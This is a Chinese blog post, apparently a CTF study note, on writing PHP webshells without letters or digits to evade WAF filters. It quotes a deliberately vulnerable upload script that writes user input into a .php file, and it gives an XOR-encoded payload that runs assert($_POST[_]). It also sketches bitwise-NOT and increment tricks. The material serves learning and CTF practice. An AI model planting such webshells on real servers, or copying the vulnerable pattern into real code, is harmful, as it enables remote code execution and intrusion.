不包含数据和字母的Webshell

    在做php20中的challenge5时学习到了php中可代替数字和字母的符号,悲剧的是这道题没做出来,目前先整理知识点吧555555555555
    情况是:很多时候在敏感地方WAF会阻断用户输入任何字符做恶意操作,比如上传webshell。下面是一个小栗子供查看-。-
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $i++ ) {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
       //die("WAF!");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}
     分析代码,可知如果输入值中有black_list中的字符则不能通过,这简直断的,,,,,,但还是有办法滴,通过非字母、数字的符号可以构造正常的字符,嘻嘻,以下就是重点咯。
 
方法一:位运算的异或
    在PHP中,存在两个非字母、数字的字符(大多是一些不可打印字符,比如回车、警报字符),它们的异或结果是字母。emmmmmm
例如:
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');  //$__='_POST';
$___=$$__;  //$__='$_POST';
$_($___[_]);  //assert($_POST[_]);
 
方法二:位运算的取反
    这种方法使用的是UTF-8编码的汉字,将其中的某个字符取出来做操作。比如【'和'[2] 】的结果是【x8c 】,取反的结果为【s】。下图是一些例子。
 
方法三:字符转换与自增大法
    在处理字符变量的运算时,PHP沿袭了Perl的语法:
$a='Z';
$a++;
$a的值为'AA';
    只有(a-zA-Z)字符可以做这些操作,且只能递增,不能递减。因此,获取a/A(PHP中不分大小写)至关重要。可以使用PHP的特性得到,如下:
    强制连接数组和字符,数组会被转换成字符。
$_=[].'';
$_的值为array,$_['']的值为a。
 
    就到此为止吧,祝我早日搞定那个题目-。-
 
 
 
 
原文地址:https://www.cnblogs.com/HYWZ36/p/10295867.html